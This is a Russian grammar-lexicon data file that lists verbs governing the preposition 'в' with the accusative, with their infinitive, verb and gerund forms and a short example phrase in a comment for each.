rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
rus_verbs:вламываться{}, // Полиция вламывается в квартиру
rus_verbs:вовлекаться{}, // трудные подростки вовлекаются в занятие спортом
rus_verbs:вовлечь{}, // вовлечь трудных подростков в занятие спортом
rus_verbs:вовлечься{}, // вовлечься в занятие спортом
rus_verbs:спуститься{}, // спуститься в подвал
rus_verbs:спускаться{}, // спускаться в подвал
rus_verbs:отправляться{}, // отправляться в дальнее плавание
инфинитив:эмитировать{ вид:соверш }, // Поверхность эмитирует электроны в пространство
инфинитив:эмитировать{ вид:несоверш },
глагол:эмитировать{ вид:соверш },
глагол:эмитировать{ вид:несоверш },
деепричастие:эмитируя{},
деепричастие:эмитировав{},
прилагательное:эмитировавший{ вид:несоверш },
// прилагательное:эмитировавший{ вид:соверш },
прилагательное:эмитирующий{},
прилагательное:эмитируемый{},
прилагательное:эмитированный{},
инфинитив:этапировать{вид:несоверш}, // Преступника этапировали в колонию
инфинитив:этапировать{вид:соверш},
глагол:этапировать{вид:несоверш},
глагол:этапировать{вид:соверш},
деепричастие:этапируя{},
прилагательное:этапируемый{},
прилагательное:этапированный{},
rus_verbs:этапироваться{}, // Преступники этапируются в колонию
rus_verbs:баллотироваться{}, // они баллотировались в жюри
rus_verbs:бежать{}, // Олигарх с семьей любовницы бежал в другую страну
rus_verbs:бросать{}, // Они бросали в фонтан медные монетки
rus_verbs:бросаться{}, // Дети бросались в воду с моста
rus_verbs:бросить{}, // Он бросил в фонтан медную монетку
rus_verbs:броситься{}, // самоубийца бросился с моста в воду
rus_verbs:превратить{}, // Найден белок, который превратит человека в супергероя
rus_verbs:буксировать{}, // Буксир буксирует танкер в порт
rus_verbs:буксироваться{}, // Сухогруз буксируется в порт
rus_verbs:вбегать{}, // Курьер вбегает в дверь
rus_verbs:вбежать{}, // Курьер вбежал в дверь
rus_verbs:вбетонировать{}, // Опора была вбетонирована в пол
rus_verbs:вбивать{}, // Мастер вбивает штырь в плиту
rus_verbs:вбиваться{}, // Штырь вбивается в плиту
rus_verbs:вбирать{}, // Вата вбирает в себя влагу
rus_verbs:вбить{}, // Ученик вбил в доску маленький гвоздь
rus_verbs:вбрасывать{}, // Арбитр вбрасывает мяч в игру
rus_verbs:вбрасываться{}, // Мяч вбрасывается в игру
rus_verbs:вбросить{}, // Судья вбросил мяч в игру
rus_verbs:вбуравиться{}, // Сверло вбуравилось в бетон
rus_verbs:вбуравливаться{}, // Сверло вбуравливается в бетон
rus_verbs:вбухиваться{}, // Много денег вбухиваются в этот проект
rus_verbs:вваливаться{}, // Человек вваливается в кабинет врача
rus_verbs:ввалить{}, // Грузчики ввалили мешок в квартиру
rus_verbs:ввалиться{}, // Человек ввалился в кабинет терапевта
rus_verbs:вваривать{}, // Робот вваривает арматурину в плиту
rus_verbs:ввариваться{}, // Арматура вваривается в плиту
rus_verbs:вварить{}, // Робот вварил арматурину в плиту
rus_verbs:влезть{}, // Предприятие ввезло товар в страну
rus_verbs:ввернуть{}, // Вверни новую лампочку в люстру
rus_verbs:ввернуться{}, // Лампочка легко ввернулась в патрон
rus_verbs:ввертывать{}, // Электрик ввертывает лампочку в патрон
rus_verbs:ввертываться{}, // Лампочка легко ввертывается в патрон
rus_verbs:вверять{}, // Пациент вверяет свою жизнь в руки врача
rus_verbs:вверяться{}, // Пациент вверяется в руки врача
rus_verbs:ввести{}, // Агенство ввело своего представителя в совет директоров
rus_verbs:ввиваться{}, // полоска ввивается в косу
